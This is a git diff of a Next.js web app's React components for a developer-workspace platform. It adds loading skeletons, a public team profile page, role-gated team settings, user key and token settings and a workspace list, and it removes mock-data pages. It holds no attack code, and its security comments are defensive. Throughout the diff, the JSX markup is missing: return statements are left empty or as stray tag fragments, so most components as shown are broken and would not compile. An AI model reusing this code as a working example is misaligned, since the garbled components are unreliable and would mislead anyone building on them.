100644 index 00000000..7e352c67 --- /dev/null +++ b/web/apps/web/src/components/app/skeleton.tsx @@ -0,0 +1,121 @@ +/** Loading-state primitives. A skeleton exists to hold the page's SHAPE so nothing jumps when + * the data lands — so every `loading.tsx` composes these using the same grid tokens + * (`grid-cols-overview`, `grid-cols-settings`, …) as the page it stands in for. A skeleton + * that draws a different layout is worse than a spinner: the page jumps twice. */ + +/** `bg-border`, not `bg-muted`: on a white card `--muted` (#F4F4F5) is one step off the card + * and the bones all but vanish in light mode — seen, not theorised. The border grey reads as + * a placeholder on both the page and the card in light; dark gets a muted-foreground wash, + * because zinc-800 on a zinc-900 card is the same near-invisible step in the other direction. */ +export function Bone({ className = "" }: { className?: string }) { + return
    ; +} + +/** Wraps a whole loading state: one pulse, one accessible label. */ +export function Skeleton({ children, className = "" }: { children: React.ReactNode; className?: string }) { + return ( +
    + {children} +
    + ); +} + +/** The search-and-tabs toolbar every filterable list opens with (`repo-list.tsx`'s shape). */ +export function ToolbarBones() { + return ( +
    + + + +
    + ); +} + +/** The owner lists — workspaces, images, snapshots, repos: `px-5 py-4` rows measuring 81px, a + * 24px title line (name plus a badge) over a 20px meta line. */ +export function ListBones({ rows = 6, className = "" }: { rows?: number; className?: string }) { + return ( +
    + {Array.from({ length: rows }, (_, i) => ( +
    + + +
    + ))} +
    + ); +} + +/** Single-line rows with a leading icon and trailing meta — file listings, feeds, and the + * owner lists (workspaces, snapshots…), whose rows measure 41px: `py-3` plus one text line. */ +export function LineBones({ rows = 8, className = "" }: { rows?: number; className?: string }) { + return ( +
    + {Array.from({ length: rows }, (_, i) => ( +
    + + + +
    + ))} +
    + ); +} + +/** The activity feed's rows, which are two-line: `px-4 py-3.5` (28px) around an 18px + * `text-sm2 leading-snug` title over an `mt-1` 17px `text-caption` meta line — 68px with the + * divider, not the 41px a single-line `LineBones` row draws. */ +export function FeedBones({ rows = 6, className = "" }: { rows?: number; className?: string }) { + return ( +
    + {Array.from({ length: rows }, (_, i) => ( +
    + +
    + + +
    + +
    + ))} +
    + ); +} + +/** A page title as the pages draw it: `text-title` is 30px tall, and every titled page follows + * it with a one-line subtitle on `mt-1`. Measured, not guessed — a 28px bone put every block + * below it 2px high, and a missing subtitle put them 24px high. */ +export function TitleBones({ width = "w-64", subtitle = true }: { width?: string; subtitle?: boolean }) { + return ( + <> + + {subtitle && } + + ); +} + +/** The settings page: title + subtitle, then `SettingsSection` rows — heading column, control + * column — starting at `mt-8`, which lands the first section at y=218 like the page. */ +export function SettingsBones({ sections = 3, subtitle = true }: { sections?: number; subtitle?: boolean }) { + return ( + <> + +
    + {Array.from({ length: sections }, (_, i) => ( +
    +
    + + + +
    +
    + + + +
    +
    + ))} +
    + + ); +} diff --git a/web/apps/web/src/components/app/team-environments.tsx b/web/apps/web/src/components/app/team-environments.tsx deleted file mode 100644 index 5ad8ffb6..00000000 --- a/web/apps/web/src/components/app/team-environments.tsx +++ /dev/null @@ -1,68 +0,0 @@ -import { Bot, MoreHorizontal, Plus, Search } from "lucide-react"; -import { Initials } from "@/components/app/initials"; -import { Badge } from "@/components/ui/badge"; -import { Button } from "@/components/ui/button"; -import { - DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuSeparator, DropdownMenuTrigger, -} from "@/components/ui/dropdown-menu"; -import { Input } from "@/components/ui/input"; -import { TEAM_ENVIRONMENTS, type Environment } from "@/lib/mock"; - -function Owner({ owner }: { owner: Environment["owner"] }) { - if (owner.kind === "team") return <>teamshared baseline; - if (owner.kind === "user") return <>{owner.login}; - return ( - <> - - {owner.name} - · for {owner.for} - - ); -} - -/** Environments are developers' working environments: a shared baseline, and the - * ones people and their agents work in. A flat list — where one was forked from - * is a fact on the row, not a shape of the page. */ -export function TeamEnvironments() { - return ( - <> -
    -
    - - -
    - -
    - -
      - {TEAM_ENVIRONMENTS.map((e) => { - return ( -
    • - -
      -
      {e.name}
      -
      - {e.services} services · {e.forkedFrom ? `forked from ${e.forkedFrom}` : "baseline"} · updated {e.when} -
      -
      - - - - - - - - Fork - Snapshot - Reset to {e.forkedFrom ?? "definition"} - - {e.owner.kind !== "team" && Delete} - - -
      • - ); - })} -
    - - ); -} diff --git a/web/apps/web/src/components/app/team-profile.tsx b/web/apps/web/src/components/app/team-profile.tsx new file mode 100644 index 00000000..08df8cec --- /dev/null +++ b/web/apps/web/src/components/app/team-profile.tsx @@ -0,0 +1,230 @@ +import Link from "next/link"; +import { Globe, Link2, Mail, MapPin, SquareCode, Users } from "lucide-react"; +import { Initials } from "@/components/app/initials"; +import { RepoList } from "@/components/app/repo-list"; +import { Markdown } from "@/components/repo/code"; +import type { ApiPublicRepo, ApiTeamProfile } from "@/lib/api"; +import type { ImageSummary } from "@/lib/browse"; +import type { LanguageShare } from "@/lib/languages"; +import { when } from "@/lib/time"; +import { safeWebsite } from "@/lib/website"; + +/** Who is reading. A member sees the same page a stranger does, plus the notes + * that only make sense to someone who can change it. */ +export type ProfileViewer = "anonymous" | "member" | "member-preview-private"; + +function Heading({ children }: { children: React.ReactNode }) { + return

    {children}

    ; +} + +function Meta({ icon: Icon, children }: { icon: typeof Users; children: React.ReactNode }) { + return ( + + + {children} + + ); +} + +/** + * A team as the world sees it: the README, what it chose to pin, and the repos + * and images anyone can pull. Everything is passed in — the page does the reads, + * so this stays a pure render and the private half of the app cannot leak in + * through a fetch nobody noticed. + */ +export function TeamProfile({ + profile, + readme, + images, + languages, + viewer, +}: { + profile: ApiTeamProfile; + readme: string | null; + images: ImageSummary[]; + languages: LanguageShare[]; + viewer: ProfileViewer; +}) { + const member = viewer !== "anonymous"; + const byName = new Map(profile.repos.map((r) => [r.name, r])); + const pinned = profile.pins.map((n) => byName.get(n)).filter((r): r is ApiPublicRepo => !!r); + + // RepoList speaks ApiRepo. A public list has no author to show and no id of its + // own, so both are synthesised rather than fetched. + const repos = profile.repos.map((r) => ({ + _id: `${profile.slug}/${r.name}`, + owner: profile.slug, + name: r.name, + public: r.public, + description: r.description, + createdBy: "", + createdAt: r.createdAt, + })); + + return ( + <> +
    +
    + +
    +
    +

    {profile.name || profile.slug}

    + {profile.tagline &&

    {profile.tagline}

    } +
    + {profile.memberCount === 1 ? "1 member" : `${profile.memberCount} members`} + {profile.location && {profile.location}} + {profile.website && ( + + {/* Saved before the api checked the scheme, or by another writer: text, not a link. */} + {safeWebsite(profile.website) ? ( + + {profile.website.replace(/^https?:\/\//, "")} + + ) : ( + profile.website + )} + + )} + {profile.email && ( + + + {profile.email} + + + )} +
    +
    +
    + +
    +
    + {readme && ( +
    +

    README.md

    + +
    + )} + + {pinned.length > 0 && ( +
    + Pinned +
    + {pinned.map((r) => ( +
    +
    + + + {r.name} + + {r.public && ( + + + Public + + )} +
    +

    + {r.description || "No description"} +

    +
    + ))} +
    +
    + )} + +
    + Repositories +
    + +
    +
    +
    + + +
    + + ); +} diff --git a/web/apps/web/src/components/app/team-settings.tsx b/web/apps/web/src/components/app/team-settings.tsx index bddbb4c9..b3eccc39 100644 --- a/web/apps/web/src/components/app/team-settings.tsx +++ b/web/apps/web/src/components/app/team-settings.tsx @@ -1,117 +1,360 @@ +"use client"; + +import { useActionState, useState } from "react"; +import { Loader2, MailX, Trash2, TriangleAlert } from "lucide-react"; import { SettingsSection as Section } from "@/components/app/settings-section"; import { Button } from "@/components/ui/button"; import { Input } from "@/components/ui/input"; import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; import { FieldLabel } from "@/components/auth/auth-card"; -import { MEMBERS } from "@/lib/mock"; -import type { Session } from "@/lib/session"; -import { inviteMember, updateTeam } from "@/app/[owner]/(org)/settings/actions"; import { Badge } from "@/components/ui/badge"; import { Initials } from "@/components/app/initials"; +import { DeleteForm } from "@/components/app/delete-form"; +import { Checkbox } from "@/components/ui/checkbox"; +import type { ApiInvite, ApiRepo, ApiRole, ApiTeamDetail, ApiTeamMember } from "@/lib/api"; +import { when } from "@/lib/time"; +import { + destroyTeam, invite, removeMember, revokeInvite, saveProfile, saveTeam, setRole, + type InviteState, type ProfileState, type TeamState, +} from "@/app/(shell)/[owner]/(org)/settings/actions"; -export function TeamSettings({ session }: { session: NonNullable }) { - const owner = session.user.owner; +function Saved({ state }: { state: TeamState }) { + if (state?.error) return

    {state.error}

    ; + if (state?.ok) return

    Saved.

    ; + return null; +} +/** The team's settings, on the directory. The controls a person sees follow their role — + * and the api decides again on every write, so a hidden control is a courtesy, not a gate. + * + * The model: a member does everything in the product and may edit the name here; an admin + * also invites and makes admins; an owner also makes owners and deletes the team. */ +export function TeamSettings({ team, me, repos }: { team: ApiTeamDetail; me: string; repos: ApiRepo[] }) { + const isOwner = team.yourRole === "owner"; + const canAdmin = isOwner || team.yourRole === "admin"; return ( <> -

    Team settings

    -

    - How {owner} appears, who is in it, and - what it can do. -

    - -
    -
    -
    -
    - Team name - -
    -
    - Handle -
    - kloudlite.io/{owner} -
    -
    -
    - Description - -
    -
    - -
    -
    -
    - -
    -
    -
    - Invite by email - -
    - - -
    - -
      - {MEMBERS.map((m) => ( -
    • - -
      -
      - {m.name} - {m.login === session.user.owner && ( - you - )} -
      -
      {m.email}
      -
      - Joined {m.joined} - {m.role} -
      • - ))} +

      Team settings

      +

      + How {team.name} appears, who is in it, and + what it can do. +

      + +
      +
      + +
      + + {canAdmin && } + +
      + {canAdmin && } +
        + {team.members.map((m) => ( + + ))} +
      + {canAdmin && team.invites.length > 0 && } +
      + + {isOwner && ( +
      +
      + +
      +
      + )} +
      + + ); +} + +function Profile({ team, disabled }: { team: ApiTeamDetail; disabled: boolean }) { + const [state, action, pending] = useActionState(saveTeam, null); + return ( +
      + +
      + Team name + +
      +
      + Handle +
      + kloudlite.io/{team.slug} +
      +
      +
      + Description + +
      + + {!disabled && ( +
      + +
      + )} + + ); +} + +const MAX_PINS = 6; + +/** Public profile and Visibility are one form with one Save button: the api's PATCH replaces + * the whole profile object, so a half-submitted profile would erase the other half. */ +function PublicProfile({ team, repos }: { team: ApiTeamDetail; repos: ApiRepo[] }) { + const [state, action, pending] = useActionState(saveProfile, null); + const [pins, setPins] = useState(team.pins); + const full = pins.length >= MAX_PINS; + return ( +
      + {/* The PATCH replaces name and description too, so they ride along unchanged. */} + + + + +
      +
      +
      + Tagline + +
      +
      + Location + +
      +
      + Website + +
      +
      + Public email + +
      +
      + Pinned repositories +

      Up to {MAX_PINS}.

      + {/* A repo list that failed to load, or a pin on a repo this listing does not carry, + must not become a write that erases the pin — it rides along hidden. */} + {pins.filter((n) => !repos.some((r) => r.name === n)).map((n) => ( + + ))} + {repos.length === 0 ? ( +

      No repositories to pin yet.

      + ) : ( +
        + {repos.map((r) => { + const on = pins.includes(r.name); + return ( +
      • + + setPins((p) => (c ? [...p, r.name] : p.filter((n) => n !== r.name))) + } + /> + +
        • + ); + })}
      -
      - -
      -
      -
      -
      -
      Transfer ownership
      -
      Hand the team to another owner.
      -
      - -
      -
      -
      -
      Delete team
      -
      Removes {owner} and everything in it.
      -
      - -
      -
      -
      + )}
    - +
    + + +
    +
    +
    + + +
    + +
    + +
    +
    +
    + + ); +} + +function Invite({ slug, isOwner }: { slug: string; isOwner: boolean }) { + const [state, action, pending] = useActionState(invite, null); + return ( +
    + +
    +
    + Invite by email + +
    + + +
    + {state?.error &&

    {state.error}

    } + {state?.ok && state.notice && ( +

    {state.notice}

    + )} + {/* Shown only when the email could not go out — the token is a credential, and the + less it is on screen the better. */} + {state?.link && ( + {state.link} + )} +
    + ); +} + +function Pending({ slug, invites }: { slug: string; invites: ApiInvite[] }) { + return ( +
    +

    + {invites.length} pending {invites.length === 1 ? "invitation" : "invitations"} +

    +
      + {invites.map((i) => ( +
    • +
      +
      {i.email}
      +
      + Invited by {i.invitedBy} · expires {when(Date.parse(i.expiresAt))} +
      +
      + {i.role} + + + +
      • + ))} +
    +
    + ); +} + +function MemberRow({ team, m, me }: { team: ApiTeamDetail; m: ApiTeamMember; me: string }) { + const self = m.email.toLowerCase() === me.toLowerCase(); + // The api's own rule, mirrored: an admin reaches members and admins; an owner reaches + // anyone. An owner may lower their own role, and the api refuses it only for the last one. + const reach = (r: ApiRole) => team.yourRole === "owner" || (team.yourRole === "admin" && r !== "owner"); + const canEdit = reach(m.role); + const canRemove = self || canEdit; + return ( +
  • + +
    +
    + {m.name} + {m.username && @{m.username}} + {self && you} +
    +
    {m.email}
    +
    + Joined {when(Date.parse(m.joinedAt))} + {canEdit ? ( + + ) : ( + {m.role} + )} + {canRemove && ( + + + + )} +
    • + ); +} + +/** A select that submits on change — there is one field, and a Save button beside every row + * is a row of buttons nobody wants. */ +function RoleSelect({ slug, m, isOwner }: { slug: string; m: ApiTeamMember; isOwner: boolean }) { + const [state, action, pending] = useActionState(setRole, null); + return ( +
    + + + {state?.error && {state.error}} + +
    + ); +} + +function Danger({ slug }: { slug: string }) { + const [state, action, pending] = useActionState(destroyTeam, null); + const [typed, setTyped] = useState(""); + return ( +
    +
    Delete team
    +
    + +

    + + Removes {slug} and frees its handle. Refused while the team still owns repositories, + images, workspaces or environments — delete or move those first. +

    +
    + + Type {slug} to confirm + + setTyped(e.target.value)} autoComplete="off" placeholder={slug} className="h-9 max-w-sm font-mono" /> +
    + +
    + +
    + +
    ); } diff --git a/web/apps/web/src/components/app/team-triggers.tsx b/web/apps/web/src/components/app/team-triggers.tsx deleted file mode 100644 index 6625377d..00000000 --- a/web/apps/web/src/components/app/team-triggers.tsx +++ /dev/null @@ -1,34 +0,0 @@ -import { CircleCheck, CircleX, Loader2, Zap } from "lucide-react"; -import { DeclaredPage, Source } from "@/components/app/declared-list"; -import { TRIGGERS } from "@/lib/mock"; -import type { Session } from "@/lib/session"; - -function Status({ s }: { s: "passing" | "failing" | "running" }) { - if (s === "passing") return ; - if (s === "failing") return ; - return ; -} - -export function TeamTriggers({ session }: { session: NonNullable }) { - const owner = session.user.owner; - return ( - -
      - {TRIGGERS.map((t) => ( -
    • - -
      -
      - {t.name} - on {t.on} -
      -
      -
      - {t.last.duration} - {t.last.when} -
      • - ))} -
    -     - ); -} diff --git a/web/apps/web/src/components/app/team-workspaces.tsx b/web/apps/web/src/components/app/team-workspaces.tsx deleted file mode 100644 index b18b41a6..00000000 --- a/web/apps/web/src/components/app/team-workspaces.tsx +++ /dev/null @@ -1,205 +0,0 @@ -"use client"; - -import { useState } from "react"; -import Link from "next/link"; -import { Bot, ExternalLink, MoreHorizontal, Plus, Search, Split, X, Zap } from "lucide-react"; -import { Initials } from "@/components/app/initials"; -import { Button } from "@/components/ui/button"; -import { - DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuSeparator, DropdownMenuTrigger, -} from "@/components/ui/dropdown-menu"; -import { Badge } from "@/components/ui/badge"; -import { Input } from "@/components/ui/input"; -import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; -import { WORKSPACE_SESSIONS, type WorkspaceSession } from "@/lib/mock"; -import type { Session } from "@/lib/session"; - -/** Who the workspace belongs to, drawn as its avatar. */ -function OwnerMark({ owner }: { owner: WorkspaceSession["owner"] }) { - if (owner.kind === "user") return ; - if (owner.kind === "agent") return ; - return ; -} - -/** Who owns the workspace. An agent's workspace belongs to the person it works - * for — the agent is the one using it, and is named on the row, not in the name. */ -const ownerName = (o: WorkspaceSession["owner"]) => (o.kind === "user" ? o.login : o.kind === "agent" ? o.for : "system"); - -/** A workspace: what it is, whose it is, whether it is running. Nothing else on the - * list — everything else is one click in. A flat list; where one was forked from - * is a fact on the row, not a shape of the page. */ -export function TeamWorkspaces({ session }: { session: NonNullable }) { - const owner = session.user.owner; - const me = session.user.owner; - const [q, setQ] = useState(""); - const [kind, setKind] = useState<"all" | "persistent" | "ephemeral">("all"); - const [who, setWho] = useState("anyone"); // anyone | mine | user: | agent: | system - const [env, setEnv] = useState("any"); // any | none | - - // "Yours" is what you own and what works for you: your workspaces, and your agents'. - const isMine = (w: WorkspaceSession) => - (w.owner.kind === "user" && w.owner.login === me) || (w.owner.kind === "agent" && w.owner.for === me); - const ownerKey = (w: WorkspaceSession) => - w.owner.kind === "user" ? `user:${w.owner.login}` : w.owner.kind === "agent" ? `user:${w.owner.for}` : "system"; - const matchesWho = (w: WorkspaceSession) => - who === "anyone" ? true : who === "mine" ? isMine(w) : ownerKey(w) === who; - const matchesEnv = (w: WorkspaceSession) => - env === "any" ? true : env === "none" ? !w.environment : w.environment === env; - - const needle = q.trim().toLowerCase(); - const visible = WORKSPACE_SESSIONS - .filter((w) => kind === "all" || w.kind === kind) - .filter(matchesWho) - .filter(matchesEnv) - .filter((w) => !needle || `${ownerName(w.owner)}/${w.definition} ${w.owner.kind === "agent" ? w.owner.name : ""} ${w.repo} ${w.ref} ${w.task ?? ""}`.toLowerCase().includes(needle)); - - // Options come from the data, so the menus only ever offer what exists. - const people = [...new Set(WORKSPACE_SESSIONS.map((w) => (w.owner.kind === "user" ? w.owner.login : w.owner.kind === "agent" ? w.owner.for : null)).filter(Boolean) as string[])]; - const envs = [...new Set(WORKSPACE_SESSIONS.map((w) => w.environment).filter(Boolean) as string[])]; - const filtered = kind !== "all" || who !== "anyone" || env !== "any" || q.trim() !== ""; - const reset = () => { setQ(""); setKind("all"); setWho("anyone"); setEnv("any"); }; - const byId = new Map(WORKSPACE_SESSIONS.map((w) => [w.id, w])); - // A workspace is named owner/definition: many people run the same definition, - // so the owner is the part that tells them apart, and it comes first. - const label = (w: WorkspaceSession) => `${ownerName(w.owner)}/${w.definition}`; - return ( - <> -
    -
    - - setQ(e.target.value)} placeholder="Filter workspaces" className="h-8 pl-8" aria-label="Filter workspaces" /> -
    - - - - {filtered && ( - - )} - -
    - -
    -
    - Workspace - Code - Environment - Active - -
    -
      - {visible.length === 0 && ( -
    • No workspaces match.
      • - )} - {visible.map((w) => ( -
    • - {/* Workspace: who/what, and where it came from */} -
      - -
      -
      - - {ownerName(w.owner)}/{w.definition} - - {w.kind === "ephemeral" && ( - ephemeral - )} -
      -
      - {w.kind === "ephemeral" - ? <> - {w.owner.kind === "agent" && <> {w.owner.name} · } - {w.task} - {w.forkedFrom && byId.get(w.forkedFrom) && <> · from {label(byId.get(w.forkedFrom)!)}} - - : <>from .kloudlite/workspace-templates/{w.definition}.yaml} -
      -
      -
      - - {/* Code: repo and branch */} -
      - {w.repo} -
      {w.ref}
      -
      - - {/* Environment, and what it intercepts there */} -
      - {w.environment ? ( - <> - {w.environment} - {w.intercepts && w.intercepts.length > 0 && ( -
      - intercepting {w.intercepts.join(", ")} -
      - )} - - ) : ( - — - )} -
      - - {/* Active */} -
      - - {w.status === "stopped" ? `stopped ${w.active}` : w.active} -
      - -
      - {w.owner.kind === "ci" ? ( - - ) : w.status === "stopped" ? ( - - ) : ( - - )} - - - - - - {w.kind === "persistent" && Start an agent here} - Restart - - {w.status !== "stopped" && Stop} - {w.kind === "ephemeral" - ? w.owner.kind !== "ci" && Discard - : Delete} - - -
      -
      • - ))} -
    -
    - - ); -} diff --git a/web/apps/web/src/components/app/theme-picker.tsx b/web/apps/web/src/components/app/theme-picker.tsx deleted file mode 100644 index 5b438f72..00000000 --- a/web/apps/web/src/components/app/theme-picker.tsx +++ /dev/null @@ -1,57 +0,0 @@ -"use client"; - -import { useSyncExternalStore } from "react"; -import { Monitor, Moon, Sun } from "lucide-react"; -import { useTheme } from "next-themes"; -import { cn } from "@/lib/utils"; - -const OPTIONS = [ - { value: "light", label: "Light", icon: Sun, hint: "Always light" }, - { value: "dark", label: "Dark", icon: Moon, hint: "Always dark" }, - { value: "system", label: "System", icon: Monitor, hint: "Follow the OS" }, -] as const; - -/** Theme as a setting: three options with a preview swatch, so the choice reads - * before it is made. Lives here rather than in the avatar menu — it is a - * preference, and preferences have a page. */ -export function ThemePicker() { - const { theme, setTheme } = useTheme(); - // true once hydrated, false during SSR — the theme is unknown until then - const mounted = useSyncExternalStore(() => () => {}, () => true, () => false); - - return ( -
    - {OPTIONS.map(({ value, label, icon: Icon, hint }) => { - const selected = mounted && theme === value; - return ( - - ); - })} -
    - ); -} diff --git a/web/apps/web/src/components/app/user-menu.tsx b/web/apps/web/src/components/app/user-menu.tsx index 77e7bd4e..0d2096c9 100644 --- a/web/apps/web/src/components/app/user-menu.tsx +++ b/web/apps/web/src/components/app/user-menu.tsx @@ -40,7 +40,7 @@ export function UserMenu({ name, email }: { name: string; email: string }) { - Settings + Profile settings diff --git a/web/apps/web/src/components/app/user-settings.tsx b/web/apps/web/src/components/app/user-settings.tsx index 887a9397..52a70932 100644 --- a/web/apps/web/src/components/app/user-settings.tsx +++ b/web/apps/web/src/components/app/user-settings.tsx @@ -1,18 +1,17 @@ import { KeyRound, ShieldCheck, Trash2 } from "lucide-react"; -import { AppShell } from "@/components/app/app-shell"; import { SettingsSection as Section } from "@/components/app/settings-section"; -import { ThemePicker } from "@/components/app/theme-picker"; +import { ThemeToggle } from "@/components/theme-toggle"; import { Button } from "@/components/ui/button"; -import { Input } from "@/components/ui/input"; -import { FieldLabel } from "@/components/auth/auth-card"; import type { Session } from "@/lib/session"; -import type { ApiCredential, ApiPasskey } from "@/lib/api"; +import type { ApiCliToken, ApiCredential, ApiPasskey, ApiPlatformKey } from "@/lib/api"; import type { SwitcherOwner } from "@/components/app/team-switcher"; -import { removeSshKey, revokeToken, updateProfile } from "@/app/settings/actions"; +import { regeneratePlatformKey, removeSshKey, revokeToken } from "@/app/(shell)/settings/actions"; import { AddKeyDialog } from "@/components/app/add-key-dialog"; +import { DeleteForm } from "@/components/app/delete-form"; import { NewTokenDialog } from "@/components/app/new-token-dialog"; import { Badge } from "@/components/ui/badge"; import { PasskeysSection } from "@/components/app/passkeys-section"; +import { CliTokens } from "@/components/app/cli-tokens"; /** A user's own settings — the person, not the team. Team settings are under the * team; this is reached from the avatar menu and is the same page in every team. */ @@ -23,6 +22,8 @@ export function UserSettings({ signingKeys, tokens, passkeys, + cliTokens, + platformKey, }: { session: NonNullable; owners: SwitcherOwner[]; @@ -30,40 +31,41 @@ export function UserSettings({ signingKeys: ApiCredential[]; tokens: ApiCredential[]; passkeys: ApiPasskey[]; + cliTokens: ApiCliToken[]; + /** Absent only when the API could not be reached; the section says so rather than vanishing. */ + platformKey?: ApiPlatformKey; }) { const many = owners.length > 1; return ( -
    -

    Your settings

    +

    Profile settings

    Signed in as {session.user.email}. These follow you across every team.

    -
    -
    +
    +
    - Name - +
    Name
    +
    {session.user.name}
    - Email -
    {session.user.email}
    +
    Email
    +
    {session.user.email}
    - Handle -
    +
    Handle
    +
    @{session.user.owner} -
    +
    -
    - +
    - +
    {k.name} {many && {k.owner}} + {/* Keys added before the public line was kept cannot be written into a + workspace's authorized_keys — git over ssh still works, ssh to a + workspace does not, and re-adding the same key fixes it. */} + {!k.material && ( + re-add to use for SSH + )}
    {/* The fingerprint IS the id — it is what the fleet stores the key under. */}
    {k._id}
    -
    - + - +
    ))} )} +
    + {!platformKey ? ( +

    + Could not load the key. Reload the page. +

    + ) : ( +
    +
    + +
    + {/* Wrapped, not truncated: this one is meant to be selected and copied. */} + + {platformKey.public} + +
    + {platformKey.fingerprint} +
    +
    +
    +
    +

    + Regenerating revokes this key immediately. Anywhere you have added it stops + working until you add the new one. +

    + + + +
    +
    + )} +
    +
    -
    - + - +
    ))} @@ -179,19 +226,24 @@ export function UserSettings({ {many && {t.owner}} -
    - + - +
    ))} )}
    + +
    + +
    - ); } diff --git a/web/apps/web/src/components/app/view-as.test.ts b/web/apps/web/src/components/app/view-as.test.ts new file mode 100644 index 00000000..1f3816e1 --- /dev/null +++ b/web/apps/web/src/components/app/view-as.test.ts @@ -0,0 +1,7 @@ +import { expect, test } from "bun:test"; +import { hrefFor } from "./view-as"; + +test("the public view is a query on the same page", () => { + expect(hrefFor("acme", "member")).toBe("/acme"); + expect(hrefFor("acme", "public")).toBe("/acme?view=public"); +}); diff --git a/web/apps/web/src/components/app/view-as.tsx b/web/apps/web/src/components/app/view-as.tsx new file mode 100644 index 00000000..84c2643c --- /dev/null +++ b/web/apps/web/src/components/app/view-as.tsx @@ -0,0 +1,50 @@ +"use client"; + +import Link from "next/link"; +import { Check, ChevronDown, Eye } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { + DropdownMenu, + DropdownMenuContent, + DropdownMenuItem, + DropdownMenuTrigger, +} from "@/components/ui/dropdown-menu"; + +export type View = "member" | "public"; + +/** The public view is the same page under a query, not a second route: a member + * previewing it stays where they are, and dropping the query is how you come back. */ +export function hrefFor(slug: string, view: View) { + return view === "public" ? `/${slug}?view=public` : `/${slug}`; +} + +const LABEL: Record = { member: "Member", public: "Public" }; + +export function ViewAs({ slug, view }: { slug: string; view: View }) { + const row = (v: View) => ( + + + {LABEL[v]} + {v === view && } + + + ); + + return ( + + + + + + + {row("member")} + {row("public")} + + + ); +} diff --git a/web/apps/web/src/components/app/workspace-list.tsx b/web/apps/web/src/components/app/workspace-list.tsx new file mode 100644 index 00000000..9a85e175 --- /dev/null +++ b/web/apps/web/src/components/app/workspace-list.tsx @@ -0,0 +1,346 @@ +"use client"; + +import Link from "next/link"; +import { useActionState, useMemo, useState } from "react"; +import { FastRefresh } from "@/components/app/fast-refresh"; +import { useDialogUntilSuccess } from "@/lib/use-dialog-until-success"; +import { Camera, Check, Copy, Loader2, Package, Play, Plus, Search, Square, SquareTerminal, Terminal, Trash2, Upload } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { Textarea } from "@/components/ui/textarea"; +import { + Dialog, DialogContent, DialogDescription, DialogFooter, DialogHeader, DialogTitle, DialogTrigger, +} from "@/components/ui/dialog"; +import { WsEnvStateBadge } from "@/components/app/wsenv-state-badge"; +import type { ApiWorkspace } from "@/lib/api"; +import { CopyButton } from "@/components/repo/copy-button"; +import { useCopy } from "@/lib/use-copy"; +import { sshConfigBlock, sshOneLiner } from "@/lib/ssh-config"; +import { + cloneWorkspace, deleteWorkspace, pushWorkspace, setPackages, startWorkspace, stopWorkspace, + type WsActionState, +} from "@/app/(shell)/[owner]/(org)/workspaces/actions"; + +/** Start and stop take one hidden pair of ids and nothing else, so an inline + * form (no dialog) does each — same idiom as `pull-actions.tsx`'s bare + * `useActionState` forms. Push and clone take an optional value first, so + * those two get a small dialog apiece instead. */ +function PushDialog({ owner, id }: { owner: string; id: string }) { + const [state, action, pending] = useActionState(pushWorkspace, null); + const [open, setOpen] = useDialogUntilSuccess(state); + return ( + + + + + +
    + + Push + Snapshot and upload the current state as one new entry. + + + +